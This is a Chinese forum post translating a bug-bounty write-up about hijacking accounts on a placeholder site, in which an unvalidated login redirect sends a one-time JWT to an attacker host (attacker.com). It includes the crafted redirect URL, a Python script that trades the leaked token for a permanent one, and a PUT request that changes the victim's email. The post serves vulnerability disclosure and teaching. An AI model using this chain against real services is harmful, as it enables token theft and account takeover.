首页
社区
课程
招聘
[翻译]通过未经验证的重定向来获取JWT令牌劫持账户
2019-2-7 11:41 6061

[翻译]通过未经验证的重定向来获取JWT令牌劫持账户

2019-2-7 11:41
6061

通过未经验证的重定向来获取JWT令牌劫持账户


关于文章

各位好,自上次写作以来已经有段时间没写文章了,希望大家都做的不错。忙了几天之后我决定回馈一下社区。今天,我要分享一个有趣的漏洞思路,这是在漏洞赏金计划中发现的。根本问题是未经验证的重定向,但我决定更进一步,而不只是重定向,所以开始吧。

了解应用程序

当目标是公司或应用程序时,首先要做的事就是确定应用程序流程和它的工作机制。没有了解应用程序就进行一系列的漏洞测试对我没有任何意义,所以我开始测试未经验证的区域。在更进一步之前,我将应用程序分为两部分。一部分是不需要验证的区域,余下的则需要验证,这样我们就能在其中进行适当的测试了。因此,另一件重要的事是登陆机制。

了解登陆过程

进行渗透测试,了解登陆过程非常重要。了解登陆流程更易于用自己的方式破解账户。测试登陆时,观察证书正确的情况下应用程序如何响应。在某些情况下应用程序只是获取凭证并返回cookie,称之为基于cookie的认证;有些情况下应用程序返回像JWT这样的有效令牌,也是在区域中进行身份验证的。如果是通过cookie认证用户,我们的主要目标便是cookie并想办法窃取它,但我遇见的是输入一个有效密码后返回了能够与API交互的JWT令牌。所以,我的情况中认证流程是基于令牌的,概括的讲如果我有一个受害者的令牌,那么应用程序将会把我视作他。先浏览下这篇文章了解不同的认证流程。

一次性JWT令牌

有效登陆后,应用程序在GET请求参数中加入token & email进行302重定向到/dashboard。令牌参数携带只能使用一次的JWT令牌。这个令牌将用于与位于/aapi/v1/authentications/token的API端点通信,来接受永久的JWT令牌 。
HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie: ...

可重复使用的JWT令牌

收到第一个令牌后应用程序会发送一个GET请求到/aapi/v1/authentications/token,并在认证头中包含第一个JWT令牌 。
GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close
该请求将返回一个能在整个API中使用的永久JWT令牌 。
{
"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"
}

现在收到了第二个JWT令牌,它能在所有API端点使用。之前通过重定向得到的JWT令牌不能多次使用,我们的目标是窃取从/token处响应发回的第二个令牌。

所有域中未经验证的重定向

测试过程中我尝试了应用程序的不同子域,发现一个有论坛的子域。要使用该论坛需要通过应用程序的用户认证,所以为了认证用户应用程序将网页返回到secure.site.com,也是我测试认证机制所在的域。这证明所有子域和其他区域的认证机制都是由位于secure.site.com的单一认证机制完成的。所以我一旦登陆成功,应用程序将跳转到forum.site.com,并且是已认证状态。

这挺有趣,我还发现应用程序做出了一些重定向。我确定了应用程序是如何知道我在论坛子域的, 有时是基于应用程序根据我所在网页重定向的参照头。我发现当网页跳转到secure.site.com时一个名为my_results_redirect新的GET参数也随之发送。 因此我重定向到论坛之前的位置是

/login?my_results_redirect=https://forum.site.com/my_results_redirect=https://forum.site.com/。

现在使用值为 https://forum.site.com的参数my_results_redirect登陆后,应用程序有如下响应:

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie:

我发现能够通过修改my_results_redirect的参数值来篡改令牌的重定向区域。所以如果值设置为https://shawarkhan.com,那么应用程序就会将用户重定向到https://shawarkhan.com。my_results_redirect参数存在于所有的子域中,因此所有的域都有未经验证的重定向,但我的目标是secure.site.com。

获取一次性令牌:

如果一个已认证的用户访问了精心设计的网址,我会收到JWT。输入命令python -m SimpleHTTPServer 80,当受害者访问https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard ,我收到了第一个JWT令牌!

收到第一个JWT令牌

现在是时候向/aapi/v1/authentications/token作出请求收取最后一个JWT令牌了。我发出请求但是被拒绝了。这时候我有点疑惑,因为整个过程都是按照流程来的。我正确执行每一步但收效甚微,没有得到第二个JWT令牌。哈!保护机制吗?

约0.01%的保护?

我发现研发人员为了防止使用第一个令牌进行未授权访问实施了一些小保护。即便我执行同样的步骤应用程序响应仍然相同,所以我请求被拒绝的原因是延迟。应用程序在令牌生成后直接将其发送给API,所以在生成令牌和发送令牌给API之间有一个小小的延迟。下面是一些小问题:

  • 令牌是一次性的
  • 令牌在数秒内失效
为了消除失效问题,我使用了下面的python代码自动化一些步骤: 

# A sample code that obtains a permanent JWT token when provided a temporary JWT token
import json
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

jwt_token=raw_input("Enter token > ")
exploit_url = "https://secure.site.com:443/aapi/v1/authentications/token"
exploit_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"}
retrieve_token = requests.get(exploit_url, headers=exploit_headers,verify=False)

if retrieve_token.status_code==200:
	s=json.loads(retrieve_token.text)
	print '[+] Token valid!'
	print '[i] Retrieving information:'
	print '\n[*] Permanent JWT Token: %s\n[*] First name: %s\n[*] Last name: %s\n[*] User ID: %s\n[*] Email Addr: %s'%(s['jwt_token'],s['user']['first_name'],s['user']['last_name'],s['user']['id'],s['user']['email'])
	
else:
	print 'One-time token expired, try to retrieve token again.'
来自Github的token.py
这段代码与/token 下的API端点交互并从响应中获取能够进一步与其他API端点通信的JWT令牌。整个应用程序通过API来改变用户信息和其他函数。

获取永久JWT令牌

开始演示

现在使用永久的JWT令牌和API通信成为可能因为我们有受害者的JWT令牌。API端点/aapi/v1/users/1接受PUT请求。那就能将受害者的邮箱地址改为攻击者的,然后再通过邮箱修改密码达到一个完全的用户劫持。通过使用受害者的JWT令牌发送如下请求,我能够更改受害者的邮箱为 attacker@shawarkhan.com:

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close

{"id":id,"user":{"consumer_attributes":{"dob":"1986-01-26","gender":"female","wants_marketing":true},"first_name":"Demo","last_name":"User","phone_number":"512-000-0000","email":"attacker@shawarkhan.com"}} 

这就是我如何完全劫持受害者的账户。分享这篇文章是为了让人们知道重定向漏洞有多危险。人们常对这类漏洞不予理睬,并将其视为低危漏洞。




原文地址:https://www.shawarkhan.com/2019/01/hijacking-accounts-by-retrieving-jwt.html?m=1












[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-2-9 11:22 被saber雪编辑 ,原因: 图片丢失
收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 11716
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
junkboy 2019-2-7 22:01
2
0
感谢分享, 图片挂了
雪    币: 560
活跃值: (714)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
babalove 2019-2-7 22:15
3
0
感谢分享
雪    币: 32406
活跃值: (18800)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2019-2-9 11:00
4
0
图片重新帖一下,建议放在论坛本地,外链很容易失效的
雪    币: 313
活跃值: (132)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
saber雪 2019-2-9 11:17
5
0
嗯呢 第一次发帖 下回注意
雪    币: 403
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DWwinter 2019-2-11 15:48
6
0
谢谢分享
游客
登录 | 注册 方可回帖
返回